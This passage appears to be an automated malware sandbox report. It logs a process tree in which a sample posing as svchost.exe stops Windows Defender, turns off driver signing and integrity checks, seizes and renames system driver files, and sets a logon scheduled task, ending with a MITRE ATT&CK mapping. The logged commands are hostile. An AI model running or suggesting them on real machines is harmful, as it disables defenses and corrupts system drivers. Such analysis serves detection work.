- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c net stop WinDefend
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3976
  - - C:\Windows\system32\net.exe
      net stop WinDefend
      4⤵
      Suspicious use of WriteProcessMemory
      PID:6656
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop WinDefend
        5⤵
        
        PID:2356
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c net start WinDefend
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3444
  - - C:\Windows\system32\net.exe
      net start WinDefend
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5368
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start WinDefend
        5⤵
        
        PID:3064
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c bcdedit /set testsigning on
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1312
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set testsigning on
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3240
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c bcdedit /set nointegritychecks on
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6508
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set nointegritychecks on
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2072
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\null.sys" /grant administrators:F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3736
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\null.sys" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3448
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\null.sys.bak" /grant administrators:F
    3⤵
    PID:3484
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\null.sys.bak" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3660
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\null.sys" /grant administrators:F /t /c
    3⤵
    PID:2812
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\null.sys" /grant administrators:F /t /c
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5676
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F /t /c
    3⤵
    PID:984
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F /t /c
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5428
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c takeown /f "C:\Windows\system32\drivers\rasl2tp.sys" /a
    3⤵
    PID:5664
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\drivers\rasl2tp.sys" /a
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3816
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F
    3⤵
    PID:5748
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6068
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c move /y "C:\Windows\system32\drivers\rasl2tp.sys" "C:\Windows\system32\drivers\rasl2tp.sys.bak"
    3⤵
    PID:5532
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F /t /c
    3⤵
    PID:4812
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F /t /c
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6548
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c takeown /f "C:\Windows\system32\drivers\raspppoe.sys" /a
    3⤵
    PID:4124
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\drivers\raspppoe.sys" /a
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:676
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F
    3⤵
    PID:1692
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6320
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c move /y "C:\Windows\system32\drivers\raspppoe.sys" "C:\Windows\system32\drivers\raspppoe.sys.bak"
    3⤵
    PID:2116
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F
    3⤵
    PID:5424
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5936
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\raspptp.sys.bak" /grant administrators:F
    3⤵
    PID:6676
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\raspptp.sys.bak" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4444
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F /t /c
    3⤵
    PID:1384
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F /t /c
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2756
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\modem.sys" /grant administrators:F
    3⤵
    PID:3036
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\modem.sys" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3316
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\modem.sys.bak" /grant administrators:F
    3⤵
    PID:384
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\modem.sys.bak" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1100
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\modem.sys" /grant administrators:F /t /c
    3⤵
    PID:204
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\modem.sys" /grant administrators:F /t /c
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:256
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\parport.sys" /grant administrators:F
    3⤵
    PID:2072
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\parport.sys" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3320
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\parport.sys.bak" /grant administrators:F
    3⤵
    PID:2792
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\parport.sys.bak" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1960
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\parport.sys" /grant administrators:F /t /c
    3⤵
    PID:6944
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\parport.sys" /grant administrators:F /t /c
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3436
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F
    3⤵
    PID:848
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2432
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\serenum.sys.bak" /grant administrators:F
    3⤵
    PID:4356
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\serenum.sys.bak" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3416
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F /t /c
    3⤵
    PID:4524
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F /t /c
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6004
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\serial.sys" /grant administrators:F
    3⤵
    PID:4872
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\serial.sys" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2608
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\serial.sys.bak" /grant administrators:F
    3⤵
    PID:5140
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\serial.sys.bak" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6892
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\serial.sys" /grant administrators:F /t /c
    3⤵
    PID:2312
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\serial.sys" /grant administrators:F /t /c
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2416
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F
    3⤵
    PID:4204
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1640
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\usbprint.sys.bak" /grant administrators:F
    3⤵
    PID:6256
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\usbprint.sys.bak" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4584
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F /t /c
    3⤵
    PID:1856
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F /t /c
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2572

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Drops file in Drivers directory
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Modifies Control Panel
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2108
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c sc start TrustedInstaller
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:7028
- - C:\Windows\System32\sc.exe
    sc start TrustedInstaller
    3⤵
    - Launches sc.exe
    PID:2832
- C:\Windows\System32\CMD.exe
  "CMD" /c schtasks /delete /F /TN "12" & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6740
- - C:\Windows\System32\schtasks.exe
    schtasks /delete /F /TN "12"
    3⤵
    PID:1384
- C:\Windows\System32\cmd.exe
  "cmd" /c schtasks /create /f /sc onlogon /tn "12" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe" & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc onlogon /tn "12" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2504
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c net stop WinDefend
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5036
- - C:\Windows\System32\net.exe
    net stop WinDefend
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2544
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      PID:5836
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c net start WinDefend
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4396
- - C:\Windows\System32\net.exe
    net start WinDefend
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6300
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 start WinDefend
      4⤵
      PID:2656
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c bcdedit /set testsigning on
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:356
- - C:\Windows\System32\bcdedit.exe
    bcdedit /set testsigning on
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5764
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c bcdedit /set nointegritychecks on
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5512
- - C:\Windows\System32\bcdedit.exe
    bcdedit /set nointegritychecks on
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1296
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\system32\drivers\null.sys" /grant administrators:F /t /c
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2908
- - C:\Windows\System32\icacls.exe
    icacls "C:\Windows\system32\drivers\null.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5752
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c takeown /f "C:\Windows\system32\drivers\null.sys" /a
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4568
- - C:\Windows\System32\takeown.exe
    takeown /f "C:\Windows\system32\drivers\null.sys" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4220
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\system32\drivers\null.sys" /grant administrators:F
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6812
- - C:\Windows\System32\icacls.exe
    icacls "C:\Windows\system32\drivers\null.sys" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2736
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c move /y "C:\Windows\system32\drivers\null.sys" "C:\Windows\system32\drivers\null.sys.bak"
  2⤵
  PID:2668
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\system32\drivers\beep.sys" /grant administrators:F /t /c
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Windows\System32\icacls.exe
    icacls "C:\Windows\system32\drivers\beep.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1456
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c takeown /f "C:\Windows\system32\drivers\beep.sys" /a
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4556
- - C:\Windows\System32\takeown.exe
    takeown /f "C:\Windows\system32\drivers\beep.sys" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2352
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\system32\drivers\beep.sys" /grant administrators:F
  2⤵
  PID:3900
- - C:\Windows\System32\icacls.exe
    icacls "C:\Windows\system32\drivers\beep.sys" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3288
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c move /y "C:\Windows\system32\drivers\beep.sys" "C:\Windows\system32\drivers\beep.sys.bak"
  2⤵
  PID:5208
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F /t /c
  2⤵
  PID:2096
- - C:\Windows\System32\icacls.exe
    icacls "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:6044
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F /t /c
  2⤵
  PID:7032
- - C:\Windows\System32\icacls.exe
    icacls "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5868
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F /t /c
  2⤵
  PID:3020
- - C:\Windows\System32\icacls.exe
    icacls "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2100
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c takeown /f "C:\Windows\system32\drivers\raspptp.sys" /a
  2⤵
  PID:3068
- - C:\Windows\System32\takeown.exe
    takeown /f "C:\Windows\system32\drivers\raspptp.sys" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4008
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F
  2⤵
  PID:1680
- - C:\Windows\System32\icacls.exe
    icacls "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5984
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c move /y "C:\Windows\system32\drivers\raspptp.sys" "C:\Windows\system32\drivers\raspptp.sys.bak"
  2⤵
  PID:4748
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\system32\drivers\modem.sys" /grant administrators:F /t /c
  2⤵
  PID:3236
- - C:\Windows\System32\icacls.exe
    icacls "C:\Windows\system32\drivers\modem.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:6412
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c takeown /f "C:\Windows\system32\drivers\modem.sys" /a
  2⤵
  PID:7072
- - C:\Windows\System32\takeown.exe
    takeown /f "C:\Windows\system32\drivers\modem.sys" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1408
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\system32\drivers\modem.sys" /grant administrators:F
  2⤵
  PID:6592
- - C:\Windows\System32\icacls.exe
    icacls "C:\Windows\system32\drivers\modem.sys" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5448
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c move /y "C:\Windows\system32\drivers\modem.sys" "C:\Windows\system32\drivers\modem.sys.bak"
  2⤵
  PID:3968
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\system32\drivers\parport.sys" /grant administrators:F /t /c
  2⤵
  PID:5004
- - C:\Windows\System32\icacls.exe
    icacls "C:\Windows\system32\drivers\parport.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1656
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F /t /c
  2⤵
  PID:2384
- - C:\Windows\System32\icacls.exe
    icacls "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5388
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\system32\drivers\serial.sys" /grant administrators:F /t /c
  2⤵
  PID:1112
- - C:\Windows\System32\icacls.exe
    icacls "C:\Windows\system32\drivers\serial.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:6804
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F /t /c
  2⤵
  PID:1880
- - C:\Windows\System32\icacls.exe
    icacls "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5812
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c bcdedit /set {current} testsigning off
  2⤵
  PID:5916
- - C:\Windows\System32\bcdedit.exe
    bcdedit /set {current} testsigning off
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1288
- C:\Windows\System32\cmd.exe
  "cmd.exe" /c bcdedit /set testsigning on
  2⤵
  PID:5800
- - C:\Windows\System32\bcdedit.exe
    bcdedit /set testsigning on
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5452

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\wsapxx.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\wsapxx.exe
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- UAC bypass
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of AdjustPrivilegeToken
- System policy modification
PID:1980

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry